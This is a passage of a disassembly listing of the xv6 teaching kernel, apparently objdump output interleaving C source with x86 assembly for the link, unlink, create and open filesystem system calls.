if((ip = namei(old)) == 0){
80105800: 8b 45 d8 mov -0x28(%ebp),%eax
80105803: 89 04 24 mov %eax,(%esp)
80105806: e8 fb cb ff ff call 80102406 <namei>
8010580b: 89 45 f4 mov %eax,-0xc(%ebp)
8010580e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105812: 75 0f jne 80105823 <sys_link+0x66>
end_op();
80105814: e8 7b dc ff ff call 80103494 <end_op>
return -1;
80105819: b8 ff ff ff ff mov $0xffffffff,%eax
8010581e: e9 1a 01 00 00 jmp 8010593d <sys_link+0x180>
}
ilock(ip);
80105823: 8b 45 f4 mov -0xc(%ebp),%eax
80105826: 89 04 24 mov %eax,(%esp)
80105829: e8 2d c0 ff ff call 8010185b <ilock>
if(ip->type == T_DIR){
8010582e: 8b 45 f4 mov -0xc(%ebp),%eax
80105831: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105835: 66 83 f8 01 cmp $0x1,%ax
80105839: 75 1a jne 80105855 <sys_link+0x98>
iunlockput(ip);
8010583b: 8b 45 f4 mov -0xc(%ebp),%eax
8010583e: 89 04 24 mov %eax,(%esp)
80105841: e8 99 c2 ff ff call 80101adf <iunlockput>
end_op();
80105846: e8 49 dc ff ff call 80103494 <end_op>
return -1;
8010584b: b8 ff ff ff ff mov $0xffffffff,%eax
80105850: e9 e8 00 00 00 jmp 8010593d <sys_link+0x180>
}
ip->nlink++;
80105855: 8b 45 f4 mov -0xc(%ebp),%eax
80105858: 0f b7 40 16 movzwl 0x16(%eax),%eax
8010585c: 8d 50 01 lea 0x1(%eax),%edx
8010585f: 8b 45 f4 mov -0xc(%ebp),%eax
80105862: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(ip);
80105866: 8b 45 f4 mov -0xc(%ebp),%eax
80105869: 89 04 24 mov %eax,(%esp)
8010586c: e8 2e be ff ff call 8010169f <iupdate>
iunlock(ip);
80105871: 8b 45 f4 mov -0xc(%ebp),%eax
80105874: 89 04 24 mov %eax,(%esp)
80105877: e8 2d c1 ff ff call 801019a9 <iunlock>
if((dp = nameiparent(new, name)) == 0)
8010587c: 8b 45 dc mov -0x24(%ebp),%eax
8010587f: 8d 55 e2 lea -0x1e(%ebp),%edx
80105882: 89 54 24 04 mov %edx,0x4(%esp)
80105886: 89 04 24 mov %eax,(%esp)
80105889: e8 9a cb ff ff call 80102428 <nameiparent>
8010588e: 89 45 f0 mov %eax,-0x10(%ebp)
80105891: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105895: 75 02 jne 80105899 <sys_link+0xdc>
goto bad;
80105897: eb 68 jmp 80105901 <sys_link+0x144>
ilock(dp);
80105899: 8b 45 f0 mov -0x10(%ebp),%eax
8010589c: 89 04 24 mov %eax,(%esp)
8010589f: e8 b7 bf ff ff call 8010185b <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
801058a4: 8b 45 f0 mov -0x10(%ebp),%eax
801058a7: 8b 10 mov (%eax),%edx
801058a9: 8b 45 f4 mov -0xc(%ebp),%eax
801058ac: 8b 00 mov (%eax),%eax
801058ae: 39 c2 cmp %eax,%edx
801058b0: 75 20 jne 801058d2 <sys_link+0x115>
801058b2: 8b 45 f4 mov -0xc(%ebp),%eax
801058b5: 8b 40 04 mov 0x4(%eax),%eax
801058b8: 89 44 24 08 mov %eax,0x8(%esp)
801058bc: 8d 45 e2 lea -0x1e(%ebp),%eax
801058bf: 89 44 24 04 mov %eax,0x4(%esp)
801058c3: 8b 45 f0 mov -0x10(%ebp),%eax
801058c6: 89 04 24 mov %eax,(%esp)
801058c9: e8 78 c8 ff ff call 80102146 <dirlink>
801058ce: 85 c0 test %eax,%eax
801058d0: 79 0d jns 801058df <sys_link+0x122>
iunlockput(dp);
801058d2: 8b 45 f0 mov -0x10(%ebp),%eax
801058d5: 89 04 24 mov %eax,(%esp)
801058d8: e8 02 c2 ff ff call 80101adf <iunlockput>
goto bad;
801058dd: eb 22 jmp 80105901 <sys_link+0x144>
}
iunlockput(dp);
801058df: 8b 45 f0 mov -0x10(%ebp),%eax
801058e2: 89 04 24 mov %eax,(%esp)
801058e5: e8 f5 c1 ff ff call 80101adf <iunlockput>
iput(ip);
801058ea: 8b 45 f4 mov -0xc(%ebp),%eax
801058ed: 89 04 24 mov %eax,(%esp)
801058f0: e8 19 c1 ff ff call 80101a0e <iput>
end_op();
801058f5: e8 9a db ff ff call 80103494 <end_op>
return 0;
801058fa: b8 00 00 00 00 mov $0x0,%eax
801058ff: eb 3c jmp 8010593d <sys_link+0x180>
bad:
ilock(ip);
80105901: 8b 45 f4 mov -0xc(%ebp),%eax
80105904: 89 04 24 mov %eax,(%esp)
80105907: e8 4f bf ff ff call 8010185b <ilock>
ip->nlink--;
8010590c: 8b 45 f4 mov -0xc(%ebp),%eax
8010590f: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105913: 8d 50 ff lea -0x1(%eax),%edx
80105916: 8b 45 f4 mov -0xc(%ebp),%eax
80105919: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(ip);
8010591d: 8b 45 f4 mov -0xc(%ebp),%eax
80105920: 89 04 24 mov %eax,(%esp)
80105923: e8 77 bd ff ff call 8010169f <iupdate>
iunlockput(ip);
80105928: 8b 45 f4 mov -0xc(%ebp),%eax
8010592b: 89 04 24 mov %eax,(%esp)
8010592e: e8 ac c1 ff ff call 80101adf <iunlockput>
end_op();
80105933: e8 5c db ff ff call 80103494 <end_op>
return -1;
80105938: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010593d: c9 leave
8010593e: c3 ret
8010593f <isdirempty>:
// Is the directory dp empty except for "." and ".." ?
static int
isdirempty(struct inode *dp)
{
8010593f: 55 push %ebp
80105940: 89 e5 mov %esp,%ebp
80105942: 83 ec 38 sub $0x38,%esp
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105945: c7 45 f4 20 00 00 00 movl $0x20,-0xc(%ebp)
8010594c: eb 4b jmp 80105999 <isdirempty+0x5a>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
8010594e: 8b 45 f4 mov -0xc(%ebp),%eax
80105951: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80105958: 00
80105959: 89 44 24 08 mov %eax,0x8(%esp)
8010595d: 8d 45 e4 lea -0x1c(%ebp),%eax
80105960: 89 44 24 04 mov %eax,0x4(%esp)
80105964: 8b 45 08 mov 0x8(%ebp),%eax
80105967: 89 04 24 mov %eax,(%esp)
8010596a: e8 f9 c3 ff ff call 80101d68 <readi>
8010596f: 83 f8 10 cmp $0x10,%eax
80105972: 74 0c je 80105980 <isdirempty+0x41>
panic("isdirempty: readi");
80105974: c7 04 24 9b 8a 10 80 movl $0x80108a9b,(%esp)
8010597b: e8 ba ab ff ff call 8010053a <panic>
if(de.inum != 0)
80105980: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
80105984: 66 85 c0 test %ax,%ax
80105987: 74 07 je 80105990 <isdirempty+0x51>
return 0;
80105989: b8 00 00 00 00 mov $0x0,%eax
8010598e: eb 1b jmp 801059ab <isdirempty+0x6c>
isdirempty(struct inode *dp)
{
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80105990: 8b 45 f4 mov -0xc(%ebp),%eax
80105993: 83 c0 10 add $0x10,%eax
80105996: 89 45 f4 mov %eax,-0xc(%ebp)
80105999: 8b 55 f4 mov -0xc(%ebp),%edx
8010599c: 8b 45 08 mov 0x8(%ebp),%eax
8010599f: 8b 40 18 mov 0x18(%eax),%eax
801059a2: 39 c2 cmp %eax,%edx
801059a4: 72 a8 jb 8010594e <isdirempty+0xf>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("isdirempty: readi");
if(de.inum != 0)
return 0;
}
return 1;
801059a6: b8 01 00 00 00 mov $0x1,%eax
}
801059ab: c9 leave
801059ac: c3 ret
801059ad <sys_unlink>:
//PAGEBREAK!
int
sys_unlink(void)
{
801059ad: 55 push %ebp
801059ae: 89 e5 mov %esp,%ebp
801059b0: 83 ec 48 sub $0x48,%esp
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
801059b3: 8d 45 cc lea -0x34(%ebp),%eax
801059b6: 89 44 24 04 mov %eax,0x4(%esp)
801059ba: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801059c1: e8 71 fa ff ff call 80105437 <argstr>
801059c6: 85 c0 test %eax,%eax
801059c8: 79 0a jns 801059d4 <sys_unlink+0x27>
return -1;
801059ca: b8 ff ff ff ff mov $0xffffffff,%eax
801059cf: e9 af 01 00 00 jmp 80105b83 <sys_unlink+0x1d6>
begin_op();
801059d4: e8 37 da ff ff call 80103410 <begin_op>
if((dp = nameiparent(path, name)) == 0){
801059d9: 8b 45 cc mov -0x34(%ebp),%eax
801059dc: 8d 55 d2 lea -0x2e(%ebp),%edx
801059df: 89 54 24 04 mov %edx,0x4(%esp)
801059e3: 89 04 24 mov %eax,(%esp)
801059e6: e8 3d ca ff ff call 80102428 <nameiparent>
801059eb: 89 45 f4 mov %eax,-0xc(%ebp)
801059ee: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801059f2: 75 0f jne 80105a03 <sys_unlink+0x56>
end_op();
801059f4: e8 9b da ff ff call 80103494 <end_op>
return -1;
801059f9: b8 ff ff ff ff mov $0xffffffff,%eax
801059fe: e9 80 01 00 00 jmp 80105b83 <sys_unlink+0x1d6>
}
ilock(dp);
80105a03: 8b 45 f4 mov -0xc(%ebp),%eax
80105a06: 89 04 24 mov %eax,(%esp)
80105a09: e8 4d be ff ff call 8010185b <ilock>
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80105a0e: c7 44 24 04 ad 8a 10 movl $0x80108aad,0x4(%esp)
80105a15: 80
80105a16: 8d 45 d2 lea -0x2e(%ebp),%eax
80105a19: 89 04 24 mov %eax,(%esp)
80105a1c: e8 3a c6 ff ff call 8010205b <namecmp>
80105a21: 85 c0 test %eax,%eax
80105a23: 0f 84 45 01 00 00 je 80105b6e <sys_unlink+0x1c1>
80105a29: c7 44 24 04 af 8a 10 movl $0x80108aaf,0x4(%esp)
80105a30: 80
80105a31: 8d 45 d2 lea -0x2e(%ebp),%eax
80105a34: 89 04 24 mov %eax,(%esp)
80105a37: e8 1f c6 ff ff call 8010205b <namecmp>
80105a3c: 85 c0 test %eax,%eax
80105a3e: 0f 84 2a 01 00 00 je 80105b6e <sys_unlink+0x1c1>
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
80105a44: 8d 45 c8 lea -0x38(%ebp),%eax
80105a47: 89 44 24 08 mov %eax,0x8(%esp)
80105a4b: 8d 45 d2 lea -0x2e(%ebp),%eax
80105a4e: 89 44 24 04 mov %eax,0x4(%esp)
80105a52: 8b 45 f4 mov -0xc(%ebp),%eax
80105a55: 89 04 24 mov %eax,(%esp)
80105a58: e8 20 c6 ff ff call 8010207d <dirlookup>
80105a5d: 89 45 f0 mov %eax,-0x10(%ebp)
80105a60: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105a64: 75 05 jne 80105a6b <sys_unlink+0xbe>
goto bad;
80105a66: e9 03 01 00 00 jmp 80105b6e <sys_unlink+0x1c1>
ilock(ip);
80105a6b: 8b 45 f0 mov -0x10(%ebp),%eax
80105a6e: 89 04 24 mov %eax,(%esp)
80105a71: e8 e5 bd ff ff call 8010185b <ilock>
if(ip->nlink < 1)
80105a76: 8b 45 f0 mov -0x10(%ebp),%eax
80105a79: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105a7d: 66 85 c0 test %ax,%ax
80105a80: 7f 0c jg 80105a8e <sys_unlink+0xe1>
panic("unlink: nlink < 1");
80105a82: c7 04 24 b2 8a 10 80 movl $0x80108ab2,(%esp)
80105a89: e8 ac aa ff ff call 8010053a <panic>
if(ip->type == T_DIR && !isdirempty(ip)){
80105a8e: 8b 45 f0 mov -0x10(%ebp),%eax
80105a91: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105a95: 66 83 f8 01 cmp $0x1,%ax
80105a99: 75 1f jne 80105aba <sys_unlink+0x10d>
80105a9b: 8b 45 f0 mov -0x10(%ebp),%eax
80105a9e: 89 04 24 mov %eax,(%esp)
80105aa1: e8 99 fe ff ff call 8010593f <isdirempty>
80105aa6: 85 c0 test %eax,%eax
80105aa8: 75 10 jne 80105aba <sys_unlink+0x10d>
iunlockput(ip);
80105aaa: 8b 45 f0 mov -0x10(%ebp),%eax
80105aad: 89 04 24 mov %eax,(%esp)
80105ab0: e8 2a c0 ff ff call 80101adf <iunlockput>
goto bad;
80105ab5: e9 b4 00 00 00 jmp 80105b6e <sys_unlink+0x1c1>
}
memset(&de, 0, sizeof(de));
80105aba: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
80105ac1: 00
80105ac2: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80105ac9: 00
80105aca: 8d 45 e0 lea -0x20(%ebp),%eax
80105acd: 89 04 24 mov %eax,(%esp)
80105ad0: e8 90 f5 ff ff call 80105065 <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80105ad5: 8b 45 c8 mov -0x38(%ebp),%eax
80105ad8: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
80105adf: 00
80105ae0: 89 44 24 08 mov %eax,0x8(%esp)
80105ae4: 8d 45 e0 lea -0x20(%ebp),%eax
80105ae7: 89 44 24 04 mov %eax,0x4(%esp)
80105aeb: 8b 45 f4 mov -0xc(%ebp),%eax
80105aee: 89 04 24 mov %eax,(%esp)
80105af1: e8 d6 c3 ff ff call 80101ecc <writei>
80105af6: 83 f8 10 cmp $0x10,%eax
80105af9: 74 0c je 80105b07 <sys_unlink+0x15a>
panic("unlink: writei");
80105afb: c7 04 24 c4 8a 10 80 movl $0x80108ac4,(%esp)
80105b02: e8 33 aa ff ff call 8010053a <panic>
if(ip->type == T_DIR){
80105b07: 8b 45 f0 mov -0x10(%ebp),%eax
80105b0a: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105b0e: 66 83 f8 01 cmp $0x1,%ax
80105b12: 75 1c jne 80105b30 <sys_unlink+0x183>
dp->nlink--;
80105b14: 8b 45 f4 mov -0xc(%ebp),%eax
80105b17: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105b1b: 8d 50 ff lea -0x1(%eax),%edx
80105b1e: 8b 45 f4 mov -0xc(%ebp),%eax
80105b21: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(dp);
80105b25: 8b 45 f4 mov -0xc(%ebp),%eax
80105b28: 89 04 24 mov %eax,(%esp)
80105b2b: e8 6f bb ff ff call 8010169f <iupdate>
}
iunlockput(dp);
80105b30: 8b 45 f4 mov -0xc(%ebp),%eax
80105b33: 89 04 24 mov %eax,(%esp)
80105b36: e8 a4 bf ff ff call 80101adf <iunlockput>
ip->nlink--;
80105b3b: 8b 45 f0 mov -0x10(%ebp),%eax
80105b3e: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105b42: 8d 50 ff lea -0x1(%eax),%edx
80105b45: 8b 45 f0 mov -0x10(%ebp),%eax
80105b48: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(ip);
80105b4c: 8b 45 f0 mov -0x10(%ebp),%eax
80105b4f: 89 04 24 mov %eax,(%esp)
80105b52: e8 48 bb ff ff call 8010169f <iupdate>
iunlockput(ip);
80105b57: 8b 45 f0 mov -0x10(%ebp),%eax
80105b5a: 89 04 24 mov %eax,(%esp)
80105b5d: e8 7d bf ff ff call 80101adf <iunlockput>
end_op();
80105b62: e8 2d d9 ff ff call 80103494 <end_op>
return 0;
80105b67: b8 00 00 00 00 mov $0x0,%eax
80105b6c: eb 15 jmp 80105b83 <sys_unlink+0x1d6>
bad:
iunlockput(dp);
80105b6e: 8b 45 f4 mov -0xc(%ebp),%eax
80105b71: 89 04 24 mov %eax,(%esp)
80105b74: e8 66 bf ff ff call 80101adf <iunlockput>
end_op();
80105b79: e8 16 d9 ff ff call 80103494 <end_op>
return -1;
80105b7e: b8 ff ff ff ff mov $0xffffffff,%eax
}
80105b83: c9 leave
80105b84: c3 ret
80105b85 <create>:
static struct inode*
create(char *path, short type, short major, short minor)
{
80105b85: 55 push %ebp
80105b86: 89 e5 mov %esp,%ebp
80105b88: 83 ec 48 sub $0x48,%esp
80105b8b: 8b 4d 0c mov 0xc(%ebp),%ecx
80105b8e: 8b 55 10 mov 0x10(%ebp),%edx
80105b91: 8b 45 14 mov 0x14(%ebp),%eax
80105b94: 66 89 4d d4 mov %cx,-0x2c(%ebp)
80105b98: 66 89 55 d0 mov %dx,-0x30(%ebp)
80105b9c: 66 89 45 cc mov %ax,-0x34(%ebp)
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
80105ba0: 8d 45 de lea -0x22(%ebp),%eax
80105ba3: 89 44 24 04 mov %eax,0x4(%esp)
80105ba7: 8b 45 08 mov 0x8(%ebp),%eax
80105baa: 89 04 24 mov %eax,(%esp)
80105bad: e8 76 c8 ff ff call 80102428 <nameiparent>
80105bb2: 89 45 f4 mov %eax,-0xc(%ebp)
80105bb5: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105bb9: 75 0a jne 80105bc5 <create+0x40>
return 0;
80105bbb: b8 00 00 00 00 mov $0x0,%eax
80105bc0: e9 7e 01 00 00 jmp 80105d43 <create+0x1be>
ilock(dp);
80105bc5: 8b 45 f4 mov -0xc(%ebp),%eax
80105bc8: 89 04 24 mov %eax,(%esp)
80105bcb: e8 8b bc ff ff call 8010185b <ilock>
if((ip = dirlookup(dp, name, &off)) != 0){
80105bd0: 8d 45 ec lea -0x14(%ebp),%eax
80105bd3: 89 44 24 08 mov %eax,0x8(%esp)
80105bd7: 8d 45 de lea -0x22(%ebp),%eax
80105bda: 89 44 24 04 mov %eax,0x4(%esp)
80105bde: 8b 45 f4 mov -0xc(%ebp),%eax
80105be1: 89 04 24 mov %eax,(%esp)
80105be4: e8 94 c4 ff ff call 8010207d <dirlookup>
80105be9: 89 45 f0 mov %eax,-0x10(%ebp)
80105bec: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105bf0: 74 47 je 80105c39 <create+0xb4>
iunlockput(dp);
80105bf2: 8b 45 f4 mov -0xc(%ebp),%eax
80105bf5: 89 04 24 mov %eax,(%esp)
80105bf8: e8 e2 be ff ff call 80101adf <iunlockput>
ilock(ip);
80105bfd: 8b 45 f0 mov -0x10(%ebp),%eax
80105c00: 89 04 24 mov %eax,(%esp)
80105c03: e8 53 bc ff ff call 8010185b <ilock>
if(type == T_FILE && ip->type == T_FILE)
80105c08: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp)
80105c0d: 75 15 jne 80105c24 <create+0x9f>
80105c0f: 8b 45 f0 mov -0x10(%ebp),%eax
80105c12: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105c16: 66 83 f8 02 cmp $0x2,%ax
80105c1a: 75 08 jne 80105c24 <create+0x9f>
return ip;
80105c1c: 8b 45 f0 mov -0x10(%ebp),%eax
80105c1f: e9 1f 01 00 00 jmp 80105d43 <create+0x1be>
iunlockput(ip);
80105c24: 8b 45 f0 mov -0x10(%ebp),%eax
80105c27: 89 04 24 mov %eax,(%esp)
80105c2a: e8 b0 be ff ff call 80101adf <iunlockput>
return 0;
80105c2f: b8 00 00 00 00 mov $0x0,%eax
80105c34: e9 0a 01 00 00 jmp 80105d43 <create+0x1be>
}
if((ip = ialloc(dp->dev, type)) == 0)
80105c39: 0f bf 55 d4 movswl -0x2c(%ebp),%edx
80105c3d: 8b 45 f4 mov -0xc(%ebp),%eax
80105c40: 8b 00 mov (%eax),%eax
80105c42: 89 54 24 04 mov %edx,0x4(%esp)
80105c46: 89 04 24 mov %eax,(%esp)
80105c49: e8 72 b9 ff ff call 801015c0 <ialloc>
80105c4e: 89 45 f0 mov %eax,-0x10(%ebp)
80105c51: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105c55: 75 0c jne 80105c63 <create+0xde>
panic("create: ialloc");
80105c57: c7 04 24 d3 8a 10 80 movl $0x80108ad3,(%esp)
80105c5e: e8 d7 a8 ff ff call 8010053a <panic>
ilock(ip);
80105c63: 8b 45 f0 mov -0x10(%ebp),%eax
80105c66: 89 04 24 mov %eax,(%esp)
80105c69: e8 ed bb ff ff call 8010185b <ilock>
ip->major = major;
80105c6e: 8b 45 f0 mov -0x10(%ebp),%eax
80105c71: 0f b7 55 d0 movzwl -0x30(%ebp),%edx
80105c75: 66 89 50 12 mov %dx,0x12(%eax)
ip->minor = minor;
80105c79: 8b 45 f0 mov -0x10(%ebp),%eax
80105c7c: 0f b7 55 cc movzwl -0x34(%ebp),%edx
80105c80: 66 89 50 14 mov %dx,0x14(%eax)
ip->nlink = 1;
80105c84: 8b 45 f0 mov -0x10(%ebp),%eax
80105c87: 66 c7 40 16 01 00 movw $0x1,0x16(%eax)
iupdate(ip);
80105c8d: 8b 45 f0 mov -0x10(%ebp),%eax
80105c90: 89 04 24 mov %eax,(%esp)
80105c93: e8 07 ba ff ff call 8010169f <iupdate>
if(type == T_DIR){ // Create . and .. entries.
80105c98: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp)
80105c9d: 75 6a jne 80105d09 <create+0x184>
dp->nlink++; // for ".."
80105c9f: 8b 45 f4 mov -0xc(%ebp),%eax
80105ca2: 0f b7 40 16 movzwl 0x16(%eax),%eax
80105ca6: 8d 50 01 lea 0x1(%eax),%edx
80105ca9: 8b 45 f4 mov -0xc(%ebp),%eax
80105cac: 66 89 50 16 mov %dx,0x16(%eax)
iupdate(dp);
80105cb0: 8b 45 f4 mov -0xc(%ebp),%eax
80105cb3: 89 04 24 mov %eax,(%esp)
80105cb6: e8 e4 b9 ff ff call 8010169f <iupdate>
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
80105cbb: 8b 45 f0 mov -0x10(%ebp),%eax
80105cbe: 8b 40 04 mov 0x4(%eax),%eax
80105cc1: 89 44 24 08 mov %eax,0x8(%esp)
80105cc5: c7 44 24 04 ad 8a 10 movl $0x80108aad,0x4(%esp)
80105ccc: 80
80105ccd: 8b 45 f0 mov -0x10(%ebp),%eax
80105cd0: 89 04 24 mov %eax,(%esp)
80105cd3: e8 6e c4 ff ff call 80102146 <dirlink>
80105cd8: 85 c0 test %eax,%eax
80105cda: 78 21 js 80105cfd <create+0x178>
80105cdc: 8b 45 f4 mov -0xc(%ebp),%eax
80105cdf: 8b 40 04 mov 0x4(%eax),%eax
80105ce2: 89 44 24 08 mov %eax,0x8(%esp)
80105ce6: c7 44 24 04 af 8a 10 movl $0x80108aaf,0x4(%esp)
80105ced: 80
80105cee: 8b 45 f0 mov -0x10(%ebp),%eax
80105cf1: 89 04 24 mov %eax,(%esp)
80105cf4: e8 4d c4 ff ff call 80102146 <dirlink>
80105cf9: 85 c0 test %eax,%eax
80105cfb: 79 0c jns 80105d09 <create+0x184>
panic("create dots");
80105cfd: c7 04 24 e2 8a 10 80 movl $0x80108ae2,(%esp)
80105d04: e8 31 a8 ff ff call 8010053a <panic>
}
if(dirlink(dp, name, ip->inum) < 0)
80105d09: 8b 45 f0 mov -0x10(%ebp),%eax
80105d0c: 8b 40 04 mov 0x4(%eax),%eax
80105d0f: 89 44 24 08 mov %eax,0x8(%esp)
80105d13: 8d 45 de lea -0x22(%ebp),%eax
80105d16: 89 44 24 04 mov %eax,0x4(%esp)
80105d1a: 8b 45 f4 mov -0xc(%ebp),%eax
80105d1d: 89 04 24 mov %eax,(%esp)
80105d20: e8 21 c4 ff ff call 80102146 <dirlink>
80105d25: 85 c0 test %eax,%eax
80105d27: 79 0c jns 80105d35 <create+0x1b0>
panic("create: dirlink");
80105d29: c7 04 24 ee 8a 10 80 movl $0x80108aee,(%esp)
80105d30: e8 05 a8 ff ff call 8010053a <panic>
iunlockput(dp);
80105d35: 8b 45 f4 mov -0xc(%ebp),%eax
80105d38: 89 04 24 mov %eax,(%esp)
80105d3b: e8 9f bd ff ff call 80101adf <iunlockput>
return ip;
80105d40: 8b 45 f0 mov -0x10(%ebp),%eax
}
80105d43: c9 leave
80105d44: c3 ret
80105d45 <sys_open>:
int
sys_open(void)
{
80105d45: 55 push %ebp
80105d46: 89 e5 mov %esp,%ebp
80105d48: 83 ec 38 sub $0x38,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
80105d4b: 8d 45 e8 lea -0x18(%ebp),%eax
80105d4e: 89 44 24 04 mov %eax,0x4(%esp)
80105d52: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80105d59: e8 d9 f6 ff ff call 80105437 <argstr>
80105d5e: 85 c0 test %eax,%eax
80105d60: 78 17 js 80105d79 <sys_open+0x34>
80105d62: 8d 45 e4 lea -0x1c(%ebp),%eax
80105d65: 89 44 24 04 mov %eax,0x4(%esp)
80105d69: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80105d70: e8 32 f6 ff ff call 801053a7 <argint>
80105d75: 85 c0 test %eax,%eax
80105d77: 79 0a jns 80105d83 <sys_open+0x3e>
return -1;
80105d79: b8 ff ff ff ff mov $0xffffffff,%eax
80105d7e: e9 5c 01 00 00 jmp 80105edf <sys_open+0x19a>
begin_op();
80105d83: e8 88 d6 ff ff call 80103410 <begin_op>
if(omode & O_CREATE){
80105d88: 8b 45 e4 mov -0x1c(%ebp),%eax
80105d8b: 25 00 02 00 00 and $0x200,%eax
80105d90: 85 c0 test %eax,%eax
80105d92: 74 3b je 80105dcf <sys_open+0x8a>
ip = create(path, T_FILE, 0, 0);
80105d94: 8b 45 e8 mov -0x18(%ebp),%eax
80105d97: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
80105d9e: 00
80105d9f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80105da6: 00
80105da7: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
80105dae: 00
80105daf: 89 04 24 mov %eax,(%esp)
80105db2: e8 ce fd ff ff call 80105b85 <create>
80105db7: 89 45 f4 mov %eax,-0xc(%ebp)
if(ip == 0){
80105dba: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105dbe: 75 6b jne 80105e2b <sys_open+0xe6>
end_op();
80105dc0: e8 cf d6 ff ff call 80103494 <end_op>
return -1;
80105dc5: b8 ff ff ff ff mov $0xffffffff,%eax
80105dca: e9 10 01 00 00 jmp 80105edf <sys_open+0x19a>
}
} else {
if((ip = namei(path)) == 0){
80105dcf: 8b 45 e8 mov -0x18(%ebp),%eax
80105dd2: 89 04 24 mov %eax,(%esp)
80105dd5: e8 2c c6 ff ff call 80102406 <namei>
80105dda: 89 45 f4 mov %eax,-0xc(%ebp)
80105ddd: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80105de1: 75 0f jne 80105df2 <sys_open+0xad>
end_op();
80105de3: e8 ac d6 ff ff call 80103494 <end_op>
return -1;
80105de8: b8 ff ff ff ff mov $0xffffffff,%eax
80105ded: e9 ed 00 00 00 jmp 80105edf <sys_open+0x19a>
}
ilock(ip);
80105df2: 8b 45 f4 mov -0xc(%ebp),%eax
80105df5: 89 04 24 mov %eax,(%esp)
80105df8: e8 5e ba ff ff call 8010185b <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
80105dfd: 8b 45 f4 mov -0xc(%ebp),%eax
80105e00: 0f b7 40 10 movzwl 0x10(%eax),%eax
80105e04: 66 83 f8 01 cmp $0x1,%ax
80105e08: 75 21 jne 80105e2b <sys_open+0xe6>
80105e0a: 8b 45 e4 mov -0x1c(%ebp),%eax
80105e0d: 85 c0 test %eax,%eax
80105e0f: 74 1a je 80105e2b <sys_open+0xe6>
iunlockput(ip);
80105e11: 8b 45 f4 mov -0xc(%ebp),%eax
80105e14: 89 04 24 mov %eax,(%esp)
80105e17: e8 c3 bc ff ff call 80101adf <iunlockput>
end_op();
80105e1c: e8 73 d6 ff ff call 80103494 <end_op>
return -1;
80105e21: b8 ff ff ff ff mov $0xffffffff,%eax
80105e26: e9 b4 00 00 00 jmp 80105edf <sys_open+0x19a>
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
80105e2b: e8 f6 b0 ff ff call 80100f26 <filealloc>
80105e30: 89 45 f0 mov %eax,-0x10(%ebp)
80105e33: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105e37: 74 14 je 80105e4d <sys_open+0x108>
80105e39: 8b 45 f0 mov -0x10(%ebp),%eax
80105e3c: 89 04 24 mov %eax,(%esp)
80105e3f: e8 2e f7 ff ff call 80105572 <fdalloc>
80105e44: 89 45 ec mov %eax,-0x14(%ebp)
80105e47: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80105e4b: 79 28 jns 80105e75 <sys_open+0x130>
if(f)
80105e4d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80105e51: 74 0b je 80105e5e <sys_open+0x119>
fileclose(f);
80105e53: 8b 45 f0 mov -0x10(%ebp),%eax
80105e56: 89 04 24 mov %eax,(%esp)
80105e59: e8 70 b1 ff ff call 80100fce <fileclose>
iunlockput(ip);
80105e5e: 8b 45 f4 mov -0xc(%ebp),%eax
80105e61: 89 04 24 mov %eax,(%esp)
80105e64: e8 76 bc ff ff call 80101adf <iunlockput>
end_op();
80105e69: e8 26 d6 ff ff call 80103494 <end_op>
return -1;
80105e6e: b8 ff ff ff ff mov $0xffffffff,%eax
80105e73: eb 6a jmp 80105edf <sys_open+0x19a>
}
iunlock(ip);
